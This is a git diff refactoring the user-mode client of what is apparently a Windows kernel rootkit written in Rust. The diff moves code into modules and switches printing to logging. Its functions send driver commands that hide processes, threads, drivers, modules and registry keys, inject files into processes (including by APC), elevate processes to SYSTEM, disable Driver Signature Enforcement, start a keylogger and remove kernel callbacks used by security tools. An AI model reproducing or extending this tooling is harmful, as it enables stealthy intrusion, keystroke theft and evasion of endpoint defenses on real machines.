}, (Some(_), Some(_)) => { - eprintln!("[-] Error: Cannot remove and restore at the same time."); + error!("Cannot remove and restore at the same time"); }, (None, None) => { - eprintln!("[-] No action provided for callback."); + error!("No action provided for callback"); }, } }, diff --git a/client/src/module.rs b/client/src/module.rs deleted file mode 100644 index c64ca1d..0000000 --- a/client/src/module.rs +++ /dev/null @@ -1,50 +0,0 @@ -use { - crate::driver::open_driver, - std::{ffi::c_void, mem::size_of, ptr::null_mut}, - shared::structs::{ModuleInfo, TargetProcess}, - windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}, -}; - -pub fn enumerate_module(ioctl_code: u32, pid: &u32) { - let h_file = open_driver().expect("Failed to open driver"); - let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() }; - let mut input_module = TargetProcess { - pid: *pid as usize - }; - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut input_module as *mut _ as *mut c_void, - size_of::() as u32, - module_info.as_mut_ptr() as *mut _, - (module_info.len() * size_of::()) as u32, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - let total_module = return_buffer as usize / size_of::(); - println!("[+] Total modules: {}", total_module); - for i in module_info.iter() { - if i.address > 0 { - let name = match String::from_utf16(&i.name) { - Ok(name) => name, - Err(err) => { - eprintln!("[!] UTF-16 decoding error: {:?}", err); - continue; - } - }; - println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name); - } - } - } - - unsafe { - CloseHandle(h_file); - }; -} diff --git a/client/src/callback.rs b/client/src/modules/callback.rs similarity index 52% rename from client/src/callback.rs rename to client/src/modules/callback.rs index c5e133b..ddd4631 100644 --- a/client/src/callback.rs +++ b/client/src/modules/callback.rs @@ -1,12 +1,18 @@ use { - crate::{cli::Callbacks, driver::open_driver}, - std::{ptr::null_mut, mem::size_of, ffi::c_void}, - shared::structs::{CallbackInfoInput, CallbackInfoOutput}, - windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}, + crate::{cli::Callbacks, utils::open_driver}, + shared::structs::{CallbackInfoInput, CallbackInfoOutput}, + std::{ffi::c_void, mem::size_of, ptr::null_mut}, + windows_sys::Win32::{ + Foundation::{CloseHandle, GetLastError}, + System::IO::DeviceIoControl + } }; pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) { + log::debug!("Attempting to open the driver for callback enumeration"); let h_file = open_driver().expect("Failed to open driver"); + + log::debug!("Allocating memory for callback information"); let mut return_buffer = 0; let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() }; let mut input_callback = CallbackInfoInput { @@ -14,11 +20,12 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) { callback: callback.to_shared() }; + log::debug!("Sending DeviceIoControl command to enumerate callbacks"); let status = unsafe { - DeviceIoControl( + DeviceIoControl( h_file, ioctl_code, - &mut input_callback as *mut _ as *mut c_void, + &mut input_callback as *mut _ as *mut c_void, size_of::() as u32, callback_info.as_mut_ptr() as *mut _, (callback_info.len() * size_of::()) as u32, @@ -28,25 +35,28 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) { }; if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); + log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - let total_module = return_buffer as usize / size_of::(); - println!("[+] Total modules: {}", total_module); + let total_modules = return_buffer as usize / size_of::(); + log::info!("Total callbacks found: {}", total_modules); + log::info!("Listing callbacks:"); + println!(""); + for i in callback_info.iter() { if i.address > 0 { let name = match String::from_utf16(&i.name) { Ok(name) => name.trim_end_matches('\0').to_string(), Err(err) => { - eprintln!("[!] UTF-16 decoding error: {:?}", err); + log::error!("UTF-16 decoding error: {:?}", err); continue; } }; println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name); - } else if i.post_operation > 0 || i.pre_operation > 0 { + } else if i.post_operation > 0 || i.pre_operation > 0 { let name = match String::from_utf16(&i.name) { Ok(name) => name.trim_end_matches('\0').to_string(), Err(err) => { - eprintln!("[!] UTF-16 decoding error: {:?}", err); + log::error!("UTF-16 decoding error: {:?}", err); continue; } }; @@ -55,25 +65,33 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) { println!("\tpost_operation: {:?}", i.post_operation as *mut c_void); } } + println!(""); + log::info!("Callback enumeration completed") } + log::debug!("Closing the driver handle"); unsafe { CloseHandle(h_file); }; } pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { + log::debug!("Attempting to open the driver to remove callback at index: {}", index); let h_file = open_driver().expect("Failed to open driver"); - let mut callback_info = CallbackInfoInput { + + log::debug!("Preparing structure to remove callback at index: {}", index); + let mut callback_info = CallbackInfoInput { index, callback: callback.to_shared() }; + + log::debug!("Sending DeviceIoControl command to remove callback at index: {}", index); let mut return_buffer = 0; let status = unsafe { - DeviceIoControl( + DeviceIoControl( h_file, ioctl_code, - &mut callback_info as *mut _ as *mut c_void, + &mut callback_info as *mut _ as *mut c_void, size_of::() as u32, null_mut(), 0, @@ -83,26 +101,34 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { }; if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); + log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + log::info!("Successfully removed callback at index: {}", index); } + log::debug!("Closing the driver handle"); unsafe { CloseHandle(h_file); }; } pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { + log::debug!("Attempting to open the driver to restore callback at index: {}", index); let h_file = open_driver().expect("Failed to open driver"); - let mut callback_info = CallbackInfoInput { + + log::debug!("Preparing structure to restore callback at index: {}", index); + let mut callback_info = CallbackInfoInput { index, callback: callback.to_shared() }; + + log::debug!("Sending DeviceIoControl command to restore callback at index: {}", index); let mut return_buffer = 0; let status = unsafe { - DeviceIoControl( + DeviceIoControl( h_file, ioctl_code, - &mut callback_info as *mut _ as *mut c_void, + &mut callback_info as *mut _ as *mut c_void, size_of::() as u32, null_mut(), 0, @@ -112,9 +138,12 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { }; if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); + log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + log::info!("Successfully restored callback at index: {}", index); } + log::debug!("Closing the driver handle"); unsafe { CloseHandle(h_file); }; diff --git a/client/src/modules/driver.rs b/client/src/modules/driver.rs new file mode 100644 index 0000000..2be7b71 --- /dev/null +++ b/client/src/modules/driver.rs @@ -0,0 +1,107 @@ +use { + log::*, + crate::utils::open_driver, + core::mem::size_of, + shared::structs::{DriverInfo, TargetDriver}, + std::{ffi::c_void, ptr::null_mut}, + windows_sys::Win32::{ + Foundation::{CloseHandle, GetLastError}, + System::IO::DeviceIoControl + } +}; + +pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) { + debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" }); + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Preparing structure for: {}", name); + let mut info_driver = TargetDriver { + name: name.to_string(), + enable + }; + + debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" }); + let mut return_buffer = 0; + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_driver as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Driver successfully {}hidden", if enable { "" } else { "un" }); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} + +pub fn enumerate_driver(ioctl_code: u32) { + debug!("Attempting to open the driver for enumeration"); + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Allocating memory for driver info"); + let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() }; + let mut return_buffer = 0; + + debug!("Sending DeviceIoControl command to enumerate drivers"); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + null_mut(), + 0, + driver_info.as_mut_ptr() as *mut _, + (driver_info.len() * size_of::()) as u32, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + let total_modules = return_buffer as usize / size_of::(); + info!("Total modules found: {}", total_modules); + info!("Listing drivers:"); + println!(""); + + for i in driver_info.iter() { + if i.address > 0 { + let name = match String::from_utf16(&i.name) { + Ok(name) => name, + Err(err) => { + error!("UTF-16 decoding error: {:?}", err); + continue; + } + }; + + println!( + "[{:2}] {:#018x} {}", + i.index, + i.address, + name + ); + } + } + println!(""); + info!("Driver enumeration completed."); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} + diff --git a/client/src/injection.rs b/client/src/modules/injection.rs similarity index 55% rename from client/src/injection.rs rename to client/src/modules/injection.rs index b897c55..547c657 100644 --- a/client/src/injection.rs +++ b/client/src/modules/injection.rs @@ -1,5 +1,6 @@ use { - crate::{driver::open_driver, utils::check_file}, + log::*, + crate::{utils::open_driver, utils::check_file}, core::ffi::c_void, shared::structs::TargetInjection, std::ptr::null_mut, @@ -7,62 +8,73 @@ use { }; pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) { - println!("[*] Starting process injection for PID: {pid}, using file: {path}"); + info!("Starting process injection for PID: {pid}, using file: {path}"); - println!("[*] Attempting to open the driver..."); let h_file = open_driver().expect("Failed to open driver"); let status; - println!("[*] Preparing injection structure..."); - let mut info_injection = TargetInjection { - path: path.to_string(), - pid: *pid as usize - }; - - println!("[*] Checking if the file exists at the specified path..."); + info!("Checking if the file exists at the specified path"); if !check_file(path) { - eprintln!("[!] Error: File not found at the specified path: {path}. Please check the file path and try again."); + error!("File not found at the specified path: {path}. Please check the file path and try again"); return; } - println!("[+] File found."); - let mut return_buffer = 0; - - println!("[*] Initiating process injection..."); - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut info_injection as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Success: Process injection was successfully performed on PID: {pid} using the file at path: {path}."); - } - - println!("[*] Closing the driver handle..."); - unsafe { - CloseHandle(h_file); - }; - - println!("[+] Driver handle closed. Injection process completed."); -} - -pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) { - let h_file = open_driver().expect("Failed to open driver"); - let status; + info!("File found!!!"); + debug!("Preparing injection structure"); let mut info_injection = TargetInjection { path: path.to_string(), pid: *pid as usize }; + + let mut return_buffer = 0; + + debug!("Sending DeviceIoControl command to Process Injection"); + status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_injection as *mut _ as *mut c_void, + std::mem::size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed with status: 0x{:08X}", status); + } else { + info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} + +pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) { + debug!("Starting APC injection for PID: {pid}, using file: {path}"); + + debug!("Attempting to open the driver"); + let h_file = open_driver().expect("Failed to open driver"); + let status; + + info!("Checking if the file exists at the specified path"); + if !check_file(path) { + error!("File not found at the specified path: {path}. Please check the file path and try again"); + return; + } + + info!("File found!!!"); + debug!("Preparing injection structure"); + let mut info_injection = TargetInjection { + path: path.to_string(), + pid: *pid as usize + }; + + debug!("Sending DeviceIoControl command to APC Injection"); let mut return_buffer = 0; status = unsafe { DeviceIoControl( @@ -78,11 +90,12 @@ pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) { }; if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); + error!("DeviceIoControl Failed with status: 0x{:08X}", status); } else { - println!("[+] Process injection APC successfully performed on PID: {pid}"); + info!("APC Injection successfully performed on PID: {pid}"); } + debug!("Closing the driver handle"); unsafe { CloseHandle(h_file); }; diff --git a/client/src/modules/misc.rs b/client/src/modules/misc.rs new file mode 100644 index 0000000..a3e4de9 --- /dev/null +++ b/client/src/modules/misc.rs @@ -0,0 +1,76 @@ +use { + log::*, + crate::utils::open_driver, + shared::structs::{Keylogger, DSE}, + std::{ffi::c_void, mem::size_of, ptr::null_mut}, + windows_sys::Win32::{ + Foundation::{CloseHandle, GetLastError}, + System::IO::DeviceIoControl + }, +}; + +pub fn dse(ioctl_code: u32, enable: bool) { + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" }); + let mut return_buffer = 0; + let mut info_dse = DSE { + enable + }; + + debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" }); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_dse as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" }); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} + +pub fn keylogger(ioctl_code: u32, state: bool) { + let h_file = open_driver().expect("Failed open driver"); + let mut return_buffer = 0; + let mut keylogger = Keylogger { + enable: state + }; + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut keylogger as *mut _ as *mut c_void, + std::mem::size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Keylogger {}", if state { "start" } else { "stop" }) + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} diff --git a/client/src/modules/mod.rs b/client/src/modules/mod.rs new file mode 100644 index 0000000..6fb8b09 --- /dev/null +++ b/client/src/modules/mod.rs @@ -0,0 +1,9 @@ +#[cfg(not(feature = "mapper"))] +pub mod registry; +pub mod callback; +pub mod driver; +pub mod process; +pub mod misc; +pub mod thread; +pub mod injection; +pub mod module; diff --git a/client/src/modules/module.rs b/client/src/modules/module.rs new file mode 100644 index 0000000..1e7cf0e --- /dev/null +++ b/client/src/modules/module.rs @@ -0,0 +1,101 @@ +use log::*; +use crate::utils::open_driver; +use shared::structs::{ModuleInfo, TargetModule, TargetProcess}; +use std::{ffi::c_void, mem::size_of, ptr::null_mut}; +use windows_sys::Win32::{ + Foundation::{CloseHandle, GetLastError}, + System::IO::DeviceIoControl, +}; + +pub fn enumerate_module(ioctl_code: u32, pid: &u32) { + info!("Attempting to enumerate modules for PID: {pid}"); + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Preparing structure for pid: {pid}"); + let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() }; + let mut input_module = TargetProcess { + pid: *pid as usize, + }; + + debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}"); + let mut return_buffer = 0; + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut input_module as *mut _ as *mut c_void, + size_of::() as u32, + module_info.as_mut_ptr() as *mut _, + (module_info.len() * size_of::()) as u32, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl failed with status: 0x{:08X} for PID: {}", unsafe { GetLastError() }, pid); + } else { + let total_modules = return_buffer as usize / size_of::(); + info!("Total modules found for PID {pid}: {total_modules}"); + info!("Listing modules:"); + println!(); + + for module in module_info.iter() { + if module.address > 0 { + let name = match String::from_utf16(&module.name) { + Ok(name) => name, + Err(err) => { + error!("UTF-16 decoding error: {:?}", err); + continue; + } + }; + println!("[{}] {:p} {}", module.index, module.address as *mut c_void, name); + } + } + + println!(); + info!("Module enumeration completed for PID: {pid}"); + } + + debug!("Closing the driver handle for PID: {pid}"); + unsafe { + CloseHandle(h_file); + } +} + +pub fn hide_module(ioctl_code: u32, name: &String, pid: u32) { + debug!("Attempting to open the module for hide operation"); + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Preparing structure for: {}", name); + let mut info_driver = TargetModule { + module_name: name.to_string(), + pid: pid as usize + }; + + debug!("Sending DeviceIoControl command to hide module"); + let mut return_buffer = 0; + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_driver as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut() + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Module successfully hidden"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} \ No newline at end of file diff --git a/client/src/modules/process.rs b/client/src/modules/process.rs new file mode 100644 index 0000000..ad12aa0 --- /dev/null +++ b/client/src/modules/process.rs @@ -0,0 +1,278 @@ +use { + log::*, + std::{ffi::c_void, mem::size_of, ptr::null_mut}, + windows_sys::Win32::{ + Foundation::{CloseHandle, GetLastError}, + System::IO::DeviceIoControl, + }, + crate::{ + utils::open_driver, + cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE} + }, + shared::{ + structs::{ + EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, + ProcessSignature, TargetProcess, + }, + vars::MAX_PIDS, + }, +}; + +pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) { + debug!("Attempting to open the driver for hide/unhide operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(pid_value) = pid { + debug!("Preparing structure for pid: {}", pid_value); + let mut return_buffer = 0; + let pid = *pid_value as usize; + let mut target_process = ProcessInfoHide { + enable, + pid, + }; + + debug!("Sending DeviceIoControl command to {} process", if enable { "hide" } else { "unhide" }); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut target_process as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!( + "DeviceIoControl Failed with status: 0x{:08X}", + unsafe { GetLastError() } + ); + } else { + info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" }); + } + } else { + error!("PID not supplied"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} + +pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) { + debug!("Attempting to open the driver for terminate operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(pid_value) = pid { + debug!("Preparing structure for pid: {}", pid_value); + let mut return_buffer = 0; + let pid = *pid_value as usize; + let mut target_process = TargetProcess { pid }; + + debug!("Sending DeviceIoControl command to terminate process"); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut target_process as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Process with PID {} terminated successfully", pid); + } + } else { + error!("PID not supplied"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} + +#[cfg(not(feature = "mapper"))] +pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) { + debug!("Attempting to open the driver for protection operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(pid_value) = pid { + debug!("Preparing structure for pid: {}", pid_value); + let mut return_buffer = 0; + let pid = *pid_value as usize; + let mut target_process = shared::structs::ProcessProtection { pid, enable }; + + debug!("Sending DeviceIoControl command to {} protection", if enable { "enable" } else { "disable" }); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut target_process as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() } + ); + } else { + info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" }); + } + } else { + error!("PID not supplied"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} + +pub fn enumerate_process(ioctl_code: u32, option: &Options) { + debug!("Attempting to open the driver for process enumeration"); + let h_file = open_driver().expect("Failed to open driver"); + let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() }; + let mut enumeration_input = EnumerateInfoInput { + options: option.to_shared(), + }; + let mut return_buffer = 0; + + debug!("Sending DeviceIoControl command to enumerate processes"); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut enumeration_input as *mut _ as *mut c_void, + size_of::() as u32, + info_process.as_mut_ptr() as *mut _, + (info_process.len() * size_of::()) as u32, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + let total_process = return_buffer as usize / size_of::(); + info!("Total Processes: {}", total_process); + println!("Listing Processes:"); + println!(""); + for i in 0..total_process { + if info_process[i].pids > 0 { + println!("[{}] {}", i, info_process[i].pids); + } + } + println!(""); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} + + +pub fn signature_process( + pid: Option<&u32>, + ioctl_code: u32, + sg: &PS_PROTECTED_SIGNER, + tp: &PS_PROTECTED_TYPE, +) { + debug!("Attempting to open the driver for signature operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(pid_value) = pid { + debug!("Preparing structure for pid: {}", pid_value); + let mut return_buffer = 0; + let sg = *sg as usize; + let tp = *tp as usize; + let pid = *pid_value as usize; + let mut info_protection_process = ProcessSignature { pid, sg, tp }; + + debug!("Sending DeviceIoControl command to apply signature protection"); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_protection_process as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!( + "DeviceIoControl Failed With Status: 0x{:08X}", + unsafe { GetLastError() } + ); + } else { + info!("Process with PID {} successfully protected", pid); + } + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} + +pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) { + debug!("Attempting to open the driver for elevation operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(pid_value) = pid { + debug!("Preparing structure for pid: {}", pid_value); + let mut return_buffer = 0; + let pid = *pid_value as usize; + let mut target_process = TargetProcess { pid }; + + debug!("Sending DeviceIoControl command to elevate process"); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut target_process as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!( + "DeviceIoControl Failed With Status: 0x{:08X}", + unsafe { GetLastError() } + ); + } else { + info!("Process with PID {} elevated to System", pid); + } + } else { + error!("PID not supplied"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} diff --git a/client/src/modules/registry.rs b/client/src/modules/registry.rs new file mode 100644 index 0000000..408b89c --- /dev/null +++ b/client/src/modules/registry.rs @@ -0,0 +1,89 @@ +use { + log::*, + crate::utils::open_driver, + shared::structs::TargetRegistry, + std::{ffi::c_void, ptr::null_mut}, + windows_sys::Win32::{ + Foundation::{CloseHandle, GetLastError}, + System::IO::DeviceIoControl, + }, +}; + +pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) { + info!("Attempting to open the registry for protection operation"); + + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Preparing structure for Key: {} | Value: {} | Protection: {}", key, value, if enable { "hide" } else { "unhide" }); + let mut info_registry = TargetRegistry { + enable, + value: value.to_string(), + key: key.to_string(), + }; + + debug!("Sending DeviceIoControl command to {} protection for key: {} | value: {}", if enable { "enable" } else { "disable" }, key, value); + let mut return_buffer = 0; + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_registry as *mut _ as *mut c_void, + std::mem::size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Registry protection {} for Key: {} and Value: {} succeeded", if enable { "enabled" } else { "disabled" }, key, value); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} + +pub fn registry_hide_unhide(ioctl_code: u32, value: &String, key: &String, enable: bool) { + info!("Attempting to open the registry for hide/unhide operation"); + + let h_file = open_driver().expect("Failed to open driver"); + + debug!("Preparing structure for Key: {} | Value: {} | Operation: {}", key, value, if enable { "hide" } else { "unhide" }); + let mut info_registry = TargetRegistry { + enable, + key: key.to_string(), + value: value.to_string(), + ..Default::default() + }; + + debug!("Sending DeviceIoControl command to {} registry for Key: {} | Value: {}", if enable { "hide" } else { "unhide" }, key, value); + let mut return_buffer = 0; + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut info_registry as *mut _ as *mut c_void, + std::mem::size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + } else { + info!("Registry with Key: {} and Value: {} successfully {}hidden", key, value, if enable { "" } else { "un" }); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + } +} diff --git a/client/src/modules/thread.rs b/client/src/modules/thread.rs new file mode 100644 index 0000000..1d93a86 --- /dev/null +++ b/client/src/modules/thread.rs @@ -0,0 +1,133 @@ +use { + log::*, + crate::{cli::Options, utils::open_driver}, + std::{ffi::c_void, mem::size_of, ptr::null_mut}, + shared::{ + structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, + vars::MAX_TIDS, + }, + windows_sys::Win32::{ + Foundation::CloseHandle, + System::IO::DeviceIoControl, + }, +}; + +pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) { + debug!("Attempting to open the driver for hide/unhide operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(tid_value) = tid { + debug!("Preparing structure for TID: {}", tid_value); + let mut return_buffer = 0; + let tid = *tid_value as usize; + let mut target_thread = TargetThread { tid, enable }; + + debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" }); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut target_thread as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed with status: 0x{:08X}", status); + } else { + info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" }); + } + } else { + error!("TID not supplied"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} + +#[cfg(not(feature = "mapper"))] +pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) { + debug!("Attempting to open the driver for thread protection operation"); + let h_file = open_driver().expect("Failed to open driver"); + + if let Some(tid_value) = tid { + debug!("Preparing structure for TID: {}", tid_value); + let mut return_buffer = 0; + let tid = *tid_value as usize; + let mut target_thread = shared::structs::ThreadProtection { tid, enable }; + + debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" }); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut target_thread as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + 0, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed with status: 0x{:08X}", status); + } else { + info!("Thread TID {} with anti-kill and dumping functions {}", tid, if enable { "enabled" } else { "disabled" }); + } + } else { + error!("TID not supplied"); + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} + +pub fn enumerate_thread(ioctl_code: u32, option: &Options) { + debug!("Attempting to open the driver for thread enumeration"); + let h_file = open_driver().expect("Failed to open driver"); + let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() }; + let mut enumeration_input = EnumerateInfoInput { + options: option.to_shared(), + }; + let mut return_buffer = 0; + + debug!("Sending DeviceIoControl command to enumerate threads"); + let status = unsafe { + DeviceIoControl( + h_file, + ioctl_code, + &mut enumeration_input as *mut _ as *mut c_void, + size_of::() as u32, + info_thread.as_mut_ptr() as *mut _, + (info_thread.len() * size_of::()) as u32, + &mut return_buffer, + null_mut(), + ) + }; + + if status == 0 { + error!("DeviceIoControl Failed with status: 0x{:08X}", status); + } else { + let total_threads = return_buffer as usize / size_of::(); + info!("Total Threads: {}", total_threads); + for i in 0..total_threads { + if info_thread[i].tids > 0 { + info!("[{}] {}", i, info_thread[i].tids); + } + } + } + + debug!("Closing the driver handle"); + unsafe { + CloseHandle(h_file); + }; +} diff --git a/client/src/process.rs b/client/src/process.rs deleted file mode 100644 index 03e2ee7..0000000 --- a/client/src/process.rs +++ /dev/null @@ -1,256 +0,0 @@ -use { - crate::{ - cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE}, - driver::open_driver - }, - shared::{ - structs::{ - EnumerateInfoInput, ProcessListInfo, TargetProcess, - ProcessInfoHide, ProcessSignature, - }, - vars::MAX_PIDS - }, - std::{ffi::c_void, mem::size_of, ptr::null_mut}, - windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl} -}; - -pub fn hide_unhide_process(pid: 